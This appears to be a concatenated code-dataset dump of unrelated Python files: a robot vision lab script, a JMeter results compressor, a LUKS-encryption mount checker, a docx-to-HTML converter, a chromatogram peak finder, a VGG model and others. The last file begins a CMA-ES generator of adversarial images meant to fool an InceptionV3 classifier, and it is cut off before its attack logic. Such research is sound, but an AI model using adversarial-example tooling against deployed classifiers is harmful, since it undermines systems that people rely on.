FORWARD\")\n\t\t\t\twith socketLock:\n\t\t\t\t\tself.sock.sendall(\"a drive_straight(50)\".encode())\n\t\t\t\t\tdiscard = self.sock.recv(128).decode()\n\t\t\t\tsleep(0.2)\n\t\t\t\t#if ball is to the left\n\t\t\t\t\t# self.STATE = States.STRAFE_LEFT\n\t\t\t\t# else if ball is to the right\n\t\t\t\t\t# self.STATE = States.STRAFE_RIGHT\n\t\t\t\t# if no ball\n\t\t\t\t\t# self.STATE = States.SEARCH\n\t\t\tif self.STATE == States.STRAFE_LEFT:\n\t\t\t\tpass\n\t\t\tif self.STATE == States.STRAFE_RIGHT:\n\t\t\t\tpass\n##########################################################\n\t\t# while(self.RUNNING):\n # sleep(0.1)\n # if self.STATE == States.LISTEN:\n # print(\"STATE: LISTEN\")\n # # pass\n # self.STATE = States.ON_LINE\n # if self.STATE == States.ON_LINE:\n # # print(\"STATE: ON_LINE\")\n\n # # print(drive_forward(50))\n # # ALT: print(self.drive_forward(50))\n\n # with socketLock:\n # self.sock.sendall(\"a drive_straight(50)\".encode())\n # discard = self.sock.recv(128).decode()\n\n # # drive forward\n # # with socketLock:\n # # self.sock.sendall(\"a drive_straight(50)\".encode())\n # # print(self.sock.recv(128).decode())\n # sleep(.05)\n\n # # if line sensed on left\n # if self.sensors.left_sensor < 700: #seen black tape\n # print(\"LEFT\")\n # self.STATE = States.CORRECTING_LEFT\n\n # #if line sensed on right\n # if self.sensors.right_sensor < 1400:\n # print(\"RIGHT\")\n # self.STATE = States.CORRECTING_RIGHT\n # if self.STATE == States.CORRECTING_LEFT:\n # # spin left\n # with socketLock:\n # self.sock.sendall(\"a spin_left(75)\".encode())\n # discard = self.sock.recv(128).decode()\n # sleep(0.05)\n\n # # # then turn off and close connection\n # # self.sock.sendall(\"c\". encode())\n # # print(self.sock.recv(128).decode())\n # #\n # # self.sock.close()\n\n # self.STATE = States.ON_LINE\n\n # if self.STATE == States.CORRECTING_RIGHT:\n # # spin right\n # with socketLock:\n # self.sock.sendall(\"a spin_right(75)\".encode())\n # discard = self.sock.recv(128).decode()\n # sleep(0.05)\n\n # self.STATE = States.ON_LINE\n#########################################################\n\n\t# END OF CONTROL LOOP\n\n\t\t# STOP ANY OTHER THREADS TALKING TO THE ROBOT\n\t\tself.sensors.RUNNING = False\n\t\tself.video.RUNNING = False\n\n\t\t# WAIT FOR THREADS TO FINISH\n\t\tsleep(1)\n\n\t\t# NEED TO DISCONNECT\n\t\t\"\"\"\n\t\tThe c command stops the robot and disconnects.\n\t\tThe stop command will also reset the Create's mode to a battery safe PASSIVE.\n\t\tIt is very important to use this command.\n\t\t\"\"\"\n\t\twith socketLock:\n\t\t\tself.sock.sendall(\"c\".encode())\n\t\t\tprint(self.sock.recv(128))\n\t\t\tself.sock.close()\n\n\t\t# If the user didn't request to halt, we should stop listening anyways\n\t\tself.listener.stop()\n\n# self.sensors.join()\n# self.video.join()\n\n\tdef on_press(self, key):\n\t\t# NOTE: DO NOT attempt to use the socket directly from here\n\t\ttry:\n\t\t\tprint('alphanumeric key {0} pressed'.format(key.char))\n\t\texcept AttributeError:\n\t\t\tprint('special key {0} pressed'.format(key))\n\n\tdef on_release(self, key):\n\t\t# NOTE: DO NOT attempt to use the socket directly from here\n\t\tprint('{0} released'.format(key))\n\t\tif key == keyboard.Key.esc or key == keyboard.Key.ctrl:\n\t\t\t# STOP LISTENER\n\t\t\tself.RUNNING = False\n\t\t\tself.sensors.RUNNING = False\n\t\t\tself.video.RUNNING = False\n\t\t\treturn False\n\n# END OF STATEMACHINE\n\n\nclass Sensing(threading.Thread):\n\tdef __init__(self, socket):\n\t\t# NOTE: MUST call this to make sure we setup the thread correctly\n\t\tthreading.Thread.__init__(self)\n\t\tself.RUNNING = True\n\t\tself.sock = socket\n\n\tdef run(self):\n\t\twhile self.RUNNING:\n\t\t\tsleep(0.1)\n\t\t\t# This is where I would get a sensor update\n\t\t\t# Store it in this class\n\t\t\t# You can change the polling frequency to optimize performance, don't forget to use socketLock\n\t\t\twith socketLock:\n\t\t\t\tself.sock.sendall(\"a distance\".encode())\n\t\t\t\tprint(self.sock.recv(128))\n\n# END OF SENSING\n\n\nclass ImageProc(threading.Thread):\n\n\tdef __init__(self):\n\t\t# NOTE: MUST call this to make sure we setup the thread correctly\n\t\tthreading.Thread.__init__(self)\n\t\tglobal IP_ADDRESS\n\t\tself.IP_ADDRESS = IP_ADDRESS\n\t\tself.PORT = 8081\n\t\tself.RUNNING = True\n\t\tself.latestImg = []\n\t\tself.feedback = []\n\t\tself.feedback_filtered = []\n\t\t# self.thresholds = {'low_hue': 5, 'high_hue': 23,\\\n\t\t# \t\t\t\t 'low_saturation': 147, 'high_saturation': 255,\\\n\t\t# \t\t\t\t 'low_value': 89, 'high_value': 224}\n\t\t# self.thresholds = {'low_hue': 150, 'high_hue': 23,\n # 'low_saturation': 210, 'high_saturation': 244,\n # 'low_value': 194, 'high_value': 221}\n\t\tself.thresholds = {'low_hue': 144, 'high_hue': 14,\n\t\t\t\t\t\t\t'low_saturation': 0, 'high_saturation': 255,\n\t\t\t\t\t\t\t'low_value': 114, 'high_value': 255}\n\n\tdef run(self):\n\t\turl = \"http://\"+self.IP_ADDRESS+\":\"+str(self.PORT)\n\t\tstream = urllib.request.urlopen(url)\n\t\twhile(self.RUNNING):\n\t\t\t# sleep(0.5)\n\t\t\tbytes = b''\n\t\t\twhile self.RUNNING:\n\t\t\t\t# Image size is about 40k bytes, so this loops about 5 times\n\t\t\t\tbytes += stream.read(8192)\n\t\t\t\ta = bytes.find(b'\\xff\\xd8')\n\t\t\t\tb = bytes.find(b'\\xff\\xd9')\n\t\t\t\tif a>b:\n\t\t\t\t\tbytes = bytes[b+2:]\n\t\t\t\t\tcontinue\n\t\t\t\tif a!=-1 and b!=-1:\n\t\t\t\t\tjpg = bytes[a:b+2]\n# bytes = bytes[b+2:]\n# print(\"found image\", a, b, len(bytes))\n\t\t\t\t\tbreak\n\t\t\timg = cv2.imdecode(numpy.frombuffer(jpg, dtype=numpy.uint8),cv2.IMREAD_COLOR)\n\t\t\t# Resize to half size so that image processing is faster\n\t\t\timg = cv2.resize(img, ((int)(len(img[0])/4),(int)(len(img)/4)))\n\n\t\t\twith imageLock:\n\t\t\t\t# Make a copy not a reference\n\t\t\t\tself.latestImg = copy.deepcopy(img)\n\n\t\t\t# Pass by reference for all non-primitve types in Python\n\t\t\tself.doImgProc(img)\n\n\t\t\t# After image processing you can update here to see the new version\n\t\t\twith imageLock:\n\t\t\t\tself.feedback = copy.deepcopy(img)\n\n\t\t\t#erode and dilate the processed image\n\t\t\tself.dilate_big(img, 2, 2)\n\t\t\tself.erode_big(img, 2, 2)\n\n\t\t\t# after eroding the image you can see the update in feedback_filtered\n\t\t\twith imageLock:\n\t\t\t\tself.feedback_filtered = copy.deepcopy(img)\n\n\n\tdef setThresh(self, name, value):\n\t\tself.thresholds[name] = value\n\n\t#if a pixel is not interesting, make all surrounding pixels not interesting\n\t#white, (255,255,255) is \"interesting\", black is not\n\tdef erode(self, original, scale):\n\t\timgToModify = original\n\n\t\tfor y in range(1, len(original)-1, scale):\n\t\t\tfor x in range(1, len(original)-1, scale):\n\t\t\t\tif original[y][x][0] == 0 and original[y][x][1] == 0 and original[y][x][2] == 0:\n\t\t\t\t\tfor i in range(3):\n\t\t\t\t\t\timgToModify[y-1][x-1][i] = 0\n\t\t\t\t\t\timgToModify[y-1][x][i] = 0\n\t\t\t\t\t\timgToModify[y-1][x+1][i] = 0\n\t\t\t\t\t\timgToModify[y][x-1][i] = 0\n\t\t\t\t\t\timgToModify[y][x+1][i] = 0\n\t\t\t\t\t\timgToModify[y+1][x-1][i] = 0\n\t\t\t\t\t\timgToModify[y+1][x][i] = 0\n\t\t\t\t\t\timgToModify[y+1][x+1][i] = 0\n\t\tself.feedback_filtered = imgToModify\n\n\n\tdef erode_big(self, original, scale, how_big):\n\t\timgToModify = original\n\n\t\tfor y in range(how_big, len(original)-how_big, scale):\n\t\t\tfor x in range(how_big, len(original)-how_big, scale):\n\t\t\t\tif original[y][x][0] == 0 and original[y][x][1] == 0 and original[y][x][2] == 0:\n\t\t\t\t\tfor i in range(3):\n\t\t\t\t\t\tfor j in range(y-how_big, y+how_big):\n\t\t\t\t\t\t\tfor k in range(x-how_big, x+how_big):\n\t\t\t\t\t\t\t\timgToModify[j][k][i] = 0\n\t\tself.feedback_filtered = imgToModify\n\n\n\t#if a pixel is interesting, make all surrounding pixels interesting\n\t#white, (255,255,255) is \"interesting\", black is not\n\tdef dilate(self, original, scale):\n\t\timgToModify = original\n\n\t\tfor y in range(1, len(original)-1, scale):\n\t\t\tfor x in range(1, len(original)-1, scale):\n\t\t\t\tif original[y][x][0] == 255 and original[y][x][1] == 255 and original[y][x][2] == 255:\n\t\t\t\t\tfor i in range(3):\n\t\t\t\t\t\timgToModify[y-1][x-1][i] = 255\n\t\t\t\t\t\timgToModify[y-1][x][i] = 255\n\t\t\t\t\t\timgToModify[y-1][x+1][i] = 255\n\t\t\t\t\t\timgToModify[y][x-1][i] = 255\n\t\t\t\t\t\timgToModify[y][x+1][i] = 255\n\t\t\t\t\t\timgToModify[y+1][x-1][i] = 255\n\t\t\t\t\t\timgToModify[y+1][x][i] = 255\n\t\t\t\t\t\timgToModify[y+1][x+1][i] = 255\n\t\tself.feedback_filtered = imgToModify\n\n\tdef dilate_big(self, original, scale, how_big):\n\t\timgToModify = original\n\n\t\tfor y in range(how_big, len(original)-how_big, scale):\n\t\t\tfor x in range(how_big, len(original)-how_big, scale):\n\t\t\t\tif original[y][x][0] == 255 and original[y][x][1] == 255 and original[y][x][2] == 255:\n\t\t\t\t\tfor i in range(3):\n\t\t\t\t\t\tfor j in range(y-how_big, y+how_big):\n\t\t\t\t\t\t\tfor k in range(x-how_big, x+how_big):\n\t\t\t\t\t\t\t\timgToModify[j][k][i] = 255\n\t\tself.feedback_filtered = imgToModify\n\n\t\t#if no pixels are changed\n\t\t\t#set all pink pixels to interesting\n\n\n\n\tdef doImgProc(self, imgToModify):\n#\t\tpixel = self.latestImg[120,160]\n#\t\tprint(\"pixel (160, 120) is \",pixel, \"in B,G,R order.\")\n\n\t\thsv_img = cv2.cvtColor(self.latestImg, cv2.COLOR_BGR2HSV)\n\t\tpixel = hsv_img[20][20]\n\n\t\tfor y in range(len(hsv_img)):\n\t\t\tfor x in range(len(hsv_img[0])):\n\t\t\t\t#cone detection\n\t\t\t\tif ((self.thresholds['low_hue'] <= hsv_img[y][x][0] and hsv_img[y][x][0] <= self.thresholds['high_hue']) or\\\n\t\t\t\t\t((self.thresholds['low_hue'] >= self.thresholds['high_hue']) and (hsv_img[y][x][0] >= self.thresholds['low_hue'] or hsv_img[y][x][0] <= self.thresholds['high_hue']))) and\\\n\t\t\t\t\tself.thresholds['low_saturation'] <= hsv_img[y][x][1] and hsv_img[y][x][1] <= self.thresholds['high_saturation'] and\\\n\t\t\t\t\tself.thresholds['low_value'] <= hsv_img[y][x][2] and hsv_img[y][x][2] <= self.thresholds['high_value']:\n\t\t\t\t\t\timgToModify[y][x][0] = 255\n\t\t\t\t\t\timgToModify[y][x][1] = 255\n\t\t\t\t\t\timgToModify[y][x][2] = 255\n\t\t\t\telse:\n\t\t\t\t\timgToModify[y][x][0] = 0\n\t\t\t\t\timgToModify[y][x][1] = 0\n\t\t\t\t\timgToModify[y][x][2] = 0\n\n# END OF IMAGEPROC\n\n\nif __name__ == \"__main__\":\n\n\tcv2.namedWindow(\"Original Image View\", flags=cv2.WINDOW_AUTOSIZE)\n\tcv2.moveWindow(\"Original Image View\", 21, 21)\n\n\tcv2.namedWindow('Binary View')\n\tcv2.moveWindow('Binary View', 300, 21)\n\n\tcv2.namedWindow('Filtered View')\n\tcv2.moveWindow('Filtered View', 600, 21)\n\n\tcv2.namedWindow('sliders')\n\tcv2.moveWindow('sliders', 900, 21)\n\n\tsm = StateMachine()\n\tsm.start()\n\n\t# Probably safer to do this on the main thread rather than in ImgProc init\n\tcv2.createTrackbar('low_hue', 'sliders', sm.video.thresholds['low_hue'], 255, lambda x: sm.video.setThresh('low_hue', x))\n\tcv2.createTrackbar('high_hue', 'sliders', sm.video.thresholds['high_hue'], 255, lambda x: sm.video.setThresh('high_hue', x))\n\tcv2.createTrackbar('low_saturation', 'sliders', sm.video.thresholds['low_saturation'], 255, lambda x: sm.video.setThresh('low_saturation', x))\n\tcv2.createTrackbar('high_saturation', 'sliders', sm.video.thresholds['high_saturation'], 255, lambda x: sm.video.setThresh('high_saturation', x))\n\tcv2.createTrackbar('low_value', 'sliders', sm.video.thresholds['low_value'], 255, lambda x: sm.video.setThresh('low_value', x))\n\tcv2.createTrackbar('high_value', 'sliders', sm.video.thresholds['high_value'], 255, lambda x: sm.video.setThresh('high_value', x))\n\n\twhile len(sm.video.latestImg) == 0:\n\t\tsleep(1)\n\n\twhile(sm.RUNNING):\n\t\twith imageLock:\n\t\t\tcv2.imshow(\"Original Image View\", sm.video.latestImg)\n\t\t\tcv2.imshow(\"Binary View\",sm.video.feedback)\n\t\t\tcv2.imshow(\"Filtered View\", sm.video.feedback_filtered)\n\t\tcv2.waitKey(5)\n\n\tcv2.destroyAllWindows()\n\n\tsleep(1)\n\n# sm.join()\n","sub_path":"lab3_hayden2.py","file_name":"lab3_hayden2.py","file_ext":"py","file_size_in_byte":14333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"642608725","text":"import sys\nimport os\nimport csv\nimport statistics\n\ndef addToKey(d, k, v):\n\tadded = not k in d\n\tif not k in d:\n\t\td[k] = v\n\telse:\n\t\td[k] += v\n\treturn added\n\nfolder = sys.argv[1]\ntarget = sys.argv[2]\nnewName = sys.argv[3]\n\nsourcepath = os.path.join(folder, target)\nsinkpath = os.path.join(folder, newName)\nprint('Reading from: %s' % sourcepath)\nprint('Writing to: %s' % sinkpath)\n\nwith open(sourcepath) as source:\n\tsrcReader = csv.reader(source)\n\t# Get header and find needed columns.\n\theader = next(srcReader)\n\tprint(header)\n\tcol_c0 = header.index('Timestamp') # Column0 on which to compress.\n\tcol_c1 = header.index('Elapsed Time') # Column1 on which to compress.\n\tcol_d = header.index('elapsed') # Data to average when compressing.\n\tcol_rc = header.index('responseCode') # To count response codes\n\ttimes = {}\n\tcodes = {}\n\ttKeys = []\n\tcKeys = []\n\tfor line in srcReader:\n\t\t# Write averaged line to file if the next line is different (and there is data to average).\n\t\ttKey = (line[col_c0], line[col_c1])\n\t\ttime = float(line[col_d])\n\t\tcKey = (line[col_c0], line[col_rc])\n\t\tif addToKey(times, tKey, [time]):\n\t\t\ttKeys += [tKey]\n\t\tif addToKey(codes, cKey, 1):\n\t\t\tcKeys += [cKey]\n\n\nfillerRow = ['-' for c in header]\n\nwith open(sinkpath, 'w') as sink:\n\tsnkWriter = csv.writer(sink)\n\tsnkWriter.writerow(['Timestamp', 'Code', 'Count'])\n\tfor key in cKeys:\n\t\tsnkWriter.writerow([key[0], key[1], codes[key]])\n\n\tsnkWriter.writerow(header)\n\tfor key in tKeys:\n\t\tfillerRow[col_c0] = key[0]\n\t\tfillerRow[col_c1] = key[1]\n\t\tfillerRow[col_d] = statistics.mean(times[key])\n\t\tsnkWriter.writerow(fillerRow)","sub_path":"jmeter/compressResults.py","file_name":"compressResults.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"450498932","text":"#!/usr/bin/python2\n\"\"\"\nScript for discovering non-root volumes that do not\nhave Luks encryption\n\n@author: Jeff Hubbard \n\"\"\"\n\nimport commands\n\nMOUNTS = commands.getoutput(\"mount\")\nRESULT = 0\n\ndef print_invalid_device(a_name, a_mount):\n global RESULT\n RESULT = 1\n print(\"{0} mounted on {1} is NOT a valid LUKS device\".format(\n a_name, a_mount))\n\nfor mount in MOUNTS.split(\"\\n\"):\n mount_arr = mount.split()\n if mount_arr[0].startswith(\"/dev\") and mount_arr[2] != \"/\":\n cmd = \"cryptsetup status '{0}'\".format(mount_arr[0])\n result = commands.getoutput(cmd).strip()\n if result:\n fs_type = [x for x in result.split(\"\\n\") if \"type:\" in x]\n if not fs_type:\n print_invalid_device(mount_arr[0], mount_arr[2])\n elif \"LUKS\" in fs_type[0].upper():\n print(\"Device {0} mounted on {1} is a valid LUKS \"\n \"device\".format(mount_arr[0], mount_arr[2]))\n else:\n print_invalid_device(mount_arr[0], mount_arr[2])\n else:\n print_invalid_device(mount_arr[0], mount_arr[2])\n\nexit(RESULT)\n","sub_path":"Ansible_Tower/Playbook_Examples/AWS/it-aws-ansible-per_vpc_inventory/scripts/luks-check.py","file_name":"luks-check.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"282362114","text":"# -*- coding: utf-8 -*-\n\nfrom robot.libraries.BuiltIn import BuiltIn\n\nfrom src.main.pages.BasePage import BasePage\nfrom src.main.pages.FormsBasePage import FormsBasePage\n\nlocators = {\"email_me_checkbox\": \"xpath=//label[@class='checkbox']/input[@id='AddToMailDb' or @id='IsSubscribe']\",\n }\n\nlocators_forms = FormsBasePage().get_locators()\n\n\ndef _seleniumlib():\n return BuiltIn().get_library_instance(\"Selenium2Library\")\n\n\nclass DefaultCountryForSiteVersion(object):\n def get_locators(self):\n return locators\n\n def united_states_should_be_choosen_for_us_site_version(self):\n current_site_version = BasePage().get_current_site_country()\n country_in_dropdown = BasePage().get_selected_text_in_dropdown(locators_forms[\"country_name_select\"])\n if current_site_version == 'us':\n BuiltIn().should_be_equal_as_strings(country_in_dropdown, 'United States')\n\n def australia_should_be_choosen_for_au_site_version(self):\n current_site_version = BasePage().get_current_site_country()\n country_in_dropdown = BasePage().get_selected_text_in_dropdown(locators_forms[\"country_name_select\"])\n if current_site_version == 'au':\n BuiltIn().should_be_equal_as_strings(country_in_dropdown, 'Australia')\n\n def united_states_should_be_choosen_for_eu_site_version(self):\n current_site_version = BasePage().get_current_site_country()\n country_in_dropdown = BasePage().get_selected_text_in_dropdown(locators_forms[\"country_name_select\"])\n if current_site_version == 'eu':\n BuiltIn().should_be_equal_as_strings(country_in_dropdown, 'United States')\n","sub_path":"src/main/feature/DefaultCountryForSiteVersion.py","file_name":"DefaultCountryForSiteVersion.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"211300573","text":"import base64\nimport io\n\nfrom . import documents, results, html_paths\nfrom .html_generation import HtmlGenerator, satisfy_html_path\n\n\ndef convert_document_element_to_html(element, style_map=None, convert_image=None):\n if style_map is None:\n style_map = []\n html_generator = HtmlGenerator()\n converter = DocumentConverter(style_map, convert_image=convert_image)\n converter.convert_element_to_html(element, html_generator,)\n html_generator.end_all()\n return results.Result(html_generator.html_string(), converter.messages)\n\n\nclass DocumentConverter(object):\n def __init__(self, styles, convert_image):\n self.messages = []\n self._styles = styles\n self._converters = {\n documents.Document: self._convert_document,\n documents.Paragraph: self._convert_paragraph,\n documents.Run: self._convert_run,\n documents.Text: self._convert_text,\n documents.Hyperlink: self._convert_hyperlink,\n documents.Tab: self._convert_tab,\n documents.Image: convert_image or self._convert_image,\n }\n\n\n def convert_element_to_html(self, element, html_generator):\n self._converters[type(element)](element, html_generator)\n\n\n def _convert_document(self, document, html_generator):\n self._convert_elements_to_html(document.children, html_generator)\n\n\n def _convert_paragraph(self, paragraph, html_generator):\n html_path = self._find_html_path_for_paragraph(paragraph)\n satisfy_html_path(html_generator, html_path)\n self._convert_elements_to_html(paragraph.children, html_generator)\n\n\n def _convert_run(self, run, html_generator):\n run_generator = HtmlGenerator()\n html_path = self._find_html_path_for_run(run)\n if html_path:\n satisfy_html_path(run_generator, html_path)\n if run.is_bold:\n run_generator.start(\"strong\")\n if run.is_italic:\n run_generator.start(\"em\")\n self._convert_elements_to_html(run.children, run_generator)\n run_generator.end_all()\n html_generator.append(run_generator)\n\n\n def _convert_text(self, text, html_generator):\n html_generator.text(text.value)\n \n \n def _convert_hyperlink(self, hyperlink, html_generator):\n html_generator.start(\"a\", {\"href\": hyperlink.href})\n self._convert_elements_to_html(hyperlink.children, html_generator)\n html_generator.end()\n \n \n def _convert_tab(self, tab, html_generator):\n html_generator.text(\"\\t\")\n \n \n def _convert_image(self, image, html_generator):\n with image.open() as image_bytes:\n encoded_src = base64.b64encode(image_bytes.read()).decode(\"ascii\")\n \n attributes = {\n \"src\": \"data:{0};base64,{1}\".format(image.content_type, encoded_src)\n }\n if image.alt_text:\n attributes[\"alt\"] = image.alt_text\n \n html_generator.self_closing(\"img\", attributes)\n\n\n def _convert_elements_to_html(self, elements, html_generator):\n for element in elements:\n self.convert_element_to_html(element, html_generator)\n\n\n def _find_html_path_for_paragraph(self, paragraph):\n default = html_paths.path([html_paths.element(\"p\", fresh=True)])\n return self._find_html_path(paragraph, \"paragraph\", default)\n \n def _find_html_path_for_run(self, run):\n return self._find_html_path(run, \"run\", default=None)\n \n \n def _find_html_path(self, element, element_type, default):\n for style in self._styles:\n document_matcher = style.document_matcher\n if _document_matcher_matches(document_matcher, element, element_type):\n return style.html_path\n \n if element.style_name is not None:\n self.messages.append(results.warning(\"Unrecognised {0} style: {1}\".format(element_type, element.style_name)))\n \n return default\n \n\ndef _document_matcher_matches(matcher, element, element_type):\n return (\n matcher.element_type == element_type and (\n matcher.style_name is None or\n matcher.style_name == element.style_name\n ) and (\n element_type != \"paragraph\" or\n matcher.numbering is None or\n matcher.numbering == element.numbering\n )\n )\n","sub_path":"mammoth/conversion.py","file_name":"conversion.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"411989003","text":"#!/usr/bin/env python3\n#https://github.com/Zuorsara/BCH5884.git\n\nimport sys\nimport numpy as np\nfrom scipy.signal import find_peaks\nfrom matplotlib import pyplot as plt\n\n\n\n#[1.A] Write a program that will parse the given chromatogram file\n\ndata=sys.argv[1]\nf=open(data)\nlines=f.readlines()\nf.close()\n\ntime=[]\nabsorbance=[]\npeaks=0\nfor line in lines[3:]:\n words=line.split()\n try:\n time.append(float(words[0]))\n absorbance.append(float(words[1]))\n except:\n print (\"Parsing Complete\")\n continue\n\n\n\n#[2] Identify the peaks and delineate their boundaries\n\ntime=np.array(time)\nabsorbance=np.array(absorbance)\nna=len(absorbance)\npeaks, maximum =find_peaks(absorbance, height=100, threshold=None, distance=10)\nnpeaks=len(peaks)\n\n\n\n#[3] For each peak you identify, report the time at which their maximum occured and the maximum absorbance values.\n\nfor n in peaks:\n print (\"There is a peak at time\",time[n],\"minutes, at a maximum absorbance value of\",absorbance[n],\"mAU\")\n\n\n\n#[1.B] Write a program that will plot the given chromatogram file\n\nplt.plot(time, absorbance)\nplt.xlabel('Time (min)')\nplt.ylabel('Absorbance (mAU)')\n#plt.show()\n#plt.savefig(\"Plot.png\",format=\"png\")\n","sub_path":"Project2_Draft.py","file_name":"Project2_Draft.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"642342200","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torch.nn.parameter import Parameter\nfrom torch.nn.modules.batchnorm import BatchNorm1d, BatchNorm2d\n\n\nclass VaryingBN1d(BatchNorm1d):\n def __init__(self, num_features, eps=1e-5, momentum=0.1, affine=True):\n super(\n VaryingBN1d,\n self).__init__(\n num_features=num_features,\n eps=eps,\n momentum=momentum,\n affine=affine)\n self.lr = Parameter(torch.Tensor(1))\n\n\nclass VaryingBN2d(BatchNorm2d):\n def __init__(self, num_features, eps=1e-5, momentum=0.1, affine=True):\n super(\n VaryingBN2d,\n self).__init__(\n num_features=num_features,\n eps=eps,\n momentum=momentum,\n affine=affine)\n self.lr = Parameter(torch.Tensor(1))\n\n\nclass vgg_varyingBN(nn.Module):\n def __init__(self, num_classes=10, init_weight=True, cfg='D'):\n super(vgg_varyingBN, self).__init__()\n self.cfg_list = {\n 'D': [64, 'D1', 64, 'M', 128, 'D', 128, 'M', 256, 'D', 256, 'D', 256, 'M', 512, 'D', 512, 'D', 512, 'M', 512, 'D', 512, 'D', 512, 'M', 512]\n # 'E': []\n }\n if isinstance(cfg, list):\n config = cfg\n elif cfg in self.cfg_list:\n config = self.cfg_list[cfg]\n else:\n raise KeyError\n self.conv_layers = self.make_layers(config)\n self.classifier = nn.Sequential(\n nn.Dropout(0.5),\n nn.Linear(config[-3], config[-1]),\n VaryingBN1d(config[-1]),\n nn.ReLU(inplace=True),\n nn.Dropout(0.5),\n nn.Linear(config[-1], num_classes)\n )\n if init_weight:\n self._initialize_weights()\n\n def forward(self, x):\n x = self.conv_layers(x)\n x = x.view(x.size(0), -1)\n x = self.classifier(x)\n return x\n\n def make_layers(self, cfg):\n layers = []\n in_channels = 3\n for v in cfg[:-1]:\n if v == 'M':\n layers += [nn.MaxPool2d(kernel_size=2,\n stride=2, ceil_mode=True)]\n elif v == 'D':\n layers += [nn.Dropout(0.4)]\n elif v == 'D1':\n layers += [nn.Dropout(0.3)]\n else:\n conv2d = nn.Conv2d(\n in_channels, v, kernel_size=3, padding=1, bias=True)\n layers += [conv2d, VaryingBN2d(v), nn.ReLU(inplace=True), ]\n in_channels = v\n return nn.Sequential(*layers)\n\n def _initialize_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n # n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n # m.weight.data.normal_(0,math.sqrt(2./n))\n nn.init.kaiming_normal(m.weight.data)\n # m.bias.data.normal_()\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, VaryingBN1d) or isinstance(m, VaryingBN2d):\n m.weight.data.fill_(0.5)\n m.bias.data.zero_()\n m.lr.data.fill_(1)\n elif isinstance(m, nn.Linear):\n # m.weight.data.normal_(0,0.01)\n nn.init.kaiming_normal(m.weight.data)\n # m.bias.data.normal_()\n m.bias.data.zero_()\n\n\nif __name__ == '__main__':\n net = vgg_varyingBN()\n x = Variable(torch.FloatTensor(16, 3, 32, 32))\n y = net(x)\n print(y.data.shape)\n","sub_path":"CodeBase/CodeBase/Models/varying_bn_vgg.py","file_name":"varying_bn_vgg.py","file_ext":"py","file_size_in_byte":3560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"243849637","text":"#!usr/bim/python\n#! -*- coding: utf-8 -*-\n\nn = raw_input()\nn = int(n)\n\nx_town = []\ny_town = []\n\nfor i in range(n):\n xy = raw_input()\n xy = xy.split()\n x,y = map(int,xy)\n x_town.append([x,i])\n y_town.append([y,i])\n\nx_town.sort()\ny_town.sort()\n\ndistance = []\n\nfor i in range(n-1):\n distance.append([x_town[i+1][0]-x_town[i][0],x_town[i][1],x_town[i+1][1]])\n distance.append([y_town[i+1][0]-y_town[i][0],y_town[i][1],y_town[i+1][1]])\n\ndistance.sort()\n\ndis = 0\nmoney = 0\ncount = 0\nbuild = []\n\nfor line in distance:\n i = 0\n while i < len(build):\n if line[1] in build[i] and line[2] in build[i] :\n pass\n elif line[1] in build[i]:\n build[i].append(line[2])\n elif line[2] in build[i]:\n build[i].append(line[1])\n","sub_path":"arc76/built.py","file_name":"built.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"372008076","text":"# this is the demo of our adversarial-examples generator based on CMA-ES.\n# Author: Hongyi Liu\n# Email: 1084455812@qq.com\n\nimport PIL\nfrom PIL import Image\nfrom inception_v3_imagenet import model, SIZE\nimport matplotlib.pyplot as plt\nfrom utils import *\nfrom scipy.stats import norm\nfrom imagenet_labels import label_to_name\n\nimport numpy as np\nimport tensorflow as tf\nimport os\nimport sys\nimport shutil\nimport time\nimport scipy\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\nInputDir = \"adv_samples/\"\nOutDir = \"adv_example/\"\nSourceIndex = 0\nTargetIndex = 1\nINumber = 200 # 染色体个数 / 个体个数\nBatchSize = 200 # 寻找可用个体时用的批量上限\nNumClasses = 1000 # 标签种类\nMaxEpoch = 10000 # 迭代上限\nReserve = 0.25 # 保留率 = 父子保留的精英量 / BestNumber\nBestNmber = int(INumber * Reserve) # 优秀样本数量\nIndividualShape = (INumber, 299, 299, 3)\nDirections = 299 * 299 * 3\nImageShape = (299, 299, 3)\nSigma = 1\nTopK = 5\nDomin = 0.5\nStartStdDeviation = 0.05\nCloseEVectorWeight = 0.3\nCloseDVectorWeight = 0.1\n# Convergence = 0.1\nStartNumber = 2\nClosed = 0 # 用来标记是否进行靠近操作\nUnVaildExist = 0 # 用来表示是否因为探索广度过大导致无效数据过多\n\n\n# QueryTimes = 0\ndef main():\n global OutDir\n global MaxEpoch\n global BatchSize\n global UnVaildExist\n QueryTimes = 0\n\n if os.path.exists(OutDir):\n shutil.rmtree(OutDir)\n os.makedirs(OutDir)\n\n with tf.Session() as sess:\n\n # get image label\n GetImage = tf.placeholder(shape=(1, 299, 299, 3), dtype=tf.float32) # (299,299,3)\n GetC, GetP = model(sess, GetImage) # TMD 为啥在我的程序里这个model不好使了\n # get image label\n\n # ########################################计算render_frame\n TestImge = tf.placeholder(shape=ImageShape, dtype=tf.float32) # (299,299,3)\n TestImgeEX = tf.reshape(TestImge, shape=(1, 299, 299, 3)) # (1,299,299,3)\n TestC, TestP = model(sess, TestImgeEX)\n\n # ########################################render_frame\n\n ## 预测get bath image label\n GenI = tf.placeholder(shape=(BatchSize, 299, 299, 3), dtype=tf.float32) 